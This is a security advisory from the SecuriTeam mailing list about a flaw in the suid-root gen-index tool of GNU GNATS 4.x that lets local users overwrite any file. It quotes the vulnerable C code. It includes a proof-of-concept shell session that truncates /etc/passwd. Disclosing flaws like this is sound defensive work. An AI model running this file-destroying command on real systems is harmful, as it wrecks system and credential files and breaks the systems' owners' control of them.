[UNIX] GNATS Authentication Bypass Vulnerability

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  GNATS Authentication Bypass Vulnerability
------------------------------------------------------------------------


SUMMARY

" <http://www.gnu.org/software/gnats/> GNU GNATS is a set of tools for 
tracking bugs reported by users to a central site."

GNATS allows attacker to overwrite files with suid root gen-index program.

DETAILS

Vulnerable Systems:
 * GNATS version 4.0
 * GNATS version 4.1.0
 * Probably all previous versions are also vulnerable.

Local users are able to execute gen-index without any user or group of 
gnat and overwrite any files in system when placing a suid for the 
program. The problem lies with gen-index main() function, which does not 
check argument who was given to the program with hard open and write there 
own data.

Vulnerable Code:
gnats/gen-index.c:
int main (int argc, char **argv)
{
  ...
  ...

    while ((optc = getopt_long (argc, argv, "o:hd:nVie",
                              long_options, (int *) 0)) != EOF)
    {
      switch (optc)
        {
        ...
        ...
        case 'o':
          file_name = optarg;
          break;

        case 'n':
          numeric_sorting = TRUE;
          break;
        ...
        ...
        }
    }

  ...
  ...

  if (file_name)
    output = fopen (file_name, "w+");
  if (output == (FILE *) NULL)
    {
      fprintf (stderr, "%s: can't write to %s: %s\n", program_name, 
optarg, strerror (errno));
      exit (3);
    }

  ...
  ...

  if (indexIsBinary (database))
    {
      char numFields = indexFieldCount (database);
      fwrite (&numFields, 1, 1, output);
    }

  ...
  ...
  if (numeric_sorting && num_entries > 0)
    {
      qsort (entries, num_entries, sizeof (Entry), entry_cmp);
      for (i = 0; i < num_entries; i++)
        {
          fwrite (entries[i].string, 1, entries[i].length, output);
        }
    }

  fclose (output);
  ...
  exit (0);
}

Function fopen() with argument "w+" open file for reading and writing. The 
file is created if it does not exist, otherwise it is truncated.

Proof of Concept:
pi3@darkstar:~$ pwd
/home/pi3
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r--    1 root     root          795 May 19 18:49 /etc/passwd
pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index
-r-sr-xr-x    1 root     root         465k Nov 21  2004 
/usr/local/libexec/gnats/gen-index*
pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd
pi3@darkstar:~$ ls -alh /etc/passwd
-rw-r--r--    1 root     root            1 Jun 16 17:34 /etc/passwd
pi3@darkstar:~$ cat /etc/passwd
pi3@darkstar:~$


ADDITIONAL INFORMATION

The information has been provided by  <mailto:pi3ki31ny@xxxxx> Adam 
Zabrocki.
The original article can be found at:  
<http://www.pi3.int.pl/adv/gnats.txt> http://www.pi3.int.pl/adv/gnats.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@xxxxxxxxxxxxxx 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@xxxxxxxxxxxxxx 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.